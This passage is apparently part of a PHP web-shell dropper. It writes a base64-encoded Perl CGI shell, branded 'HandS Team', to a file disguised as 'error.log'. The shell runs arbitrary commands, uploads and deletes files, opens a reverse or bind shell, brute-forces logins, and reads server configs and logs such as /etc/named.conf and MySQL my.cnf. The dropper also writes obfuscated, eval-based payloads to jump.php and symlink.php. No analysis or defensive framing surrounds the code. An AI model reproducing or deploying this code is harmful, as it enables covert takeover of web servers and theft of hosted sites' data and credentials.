c2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgIiRmaWxlIjsKCX0KCXJldHVybiAiMCI7Cn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIFRyaW1TbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1wvXC8vXC8vZzsKCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsKCW15ICRwYXRoID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyLiRQYXRoU2VwKTsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdIYW5kUyBUZWFtJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+VCYjMjM0O24gRmlsZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPktpY2sgVGgmIzQzMjsmIzc4OTk7YyBGaWxlPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TiYjNDE3O2kgUyYjNzkwMzsgaCYjNzkxOTt1PC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UyYjNzkyMTsgQyYjNzg0NTtwIFBoJiMyMzM7cDwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPlRoYXkgJiMyNzI7JiM3ODkzO2kgTSYjNzg5OTtpIE5oJiM3ODQ1O3Q8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5IJiMyMjQ7bmggJiMyNzI7JiM3ODk3O25nPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJub3RsaW5lIjsKCQlteSAkaT0wOwoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsKCQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJCX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJbmV4dDsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj4mIzI3MjsmIzc4OTM7aSBUJiMyMzQ7bjwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPiYjMjcyOyYjNzg5MztpIFQmIzIzNDtuPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPlQmIzc4NDM7aSBYdSYjNzg4OTtuZzwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogMDBGRjAwOyc+QyYjNzg0MztuaCBCJiMyMjU7byAhIFNoZWxsICYjMjcyOyYjNzg3NTsgUyYjNzkxNzsgRCYjNzkwOTtuZyBUaGFtIEtoJiM3ODQzO28sIEtoJiMyNDQ7bmcgSGFjazwvZm9udD48L2gzPiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPlRoJiM3ODQ1O3QgQiYjNzg0MTtpLCBLaCYjMjQ0O25nIFRoJiM3ODc1OyBWJiM0MzI7JiM3OTA3O3QgUXVhIE4mIzI0Mzs8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6IDAwRkYwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywKCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywKCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywKCQkJJy92YXIvbG9nL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywKCQkJJy92YXIvbXlzcWwubG9nJywKCQkJJy92YXIvbGliL215c3FsL215LmNuZicsCgkJCScvZXRjL215c3FsL215LmNuZicsCgkJCScvZXRjL215LmNuZicsCgkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtciAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOwoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOwojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyEKJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsKY2hvbXAoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkIik7CglpZighJFdpbk5UKQoJewoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQlpZigkY2htb2QgbmUgMCkKCQl7CgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoJHJlbmFtZSBuZSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJlVwbG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7CglwcmludCAmQmFja0JpbmQ7Cn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs= '; $file = fopen("error.log","w+"); $write = fwrite ($file ,base64_decode($pythonp)); fclose($file); chmod("error.log",0755); echo " "; } elseif ($action == 'jump') { $file = fopen($dir."jump.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVll4WmpsbVVVVlhKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("jump.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'symlink') { $file = fopen($dir."symlink.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVU42WWxSeWNqUjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("symlink.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); 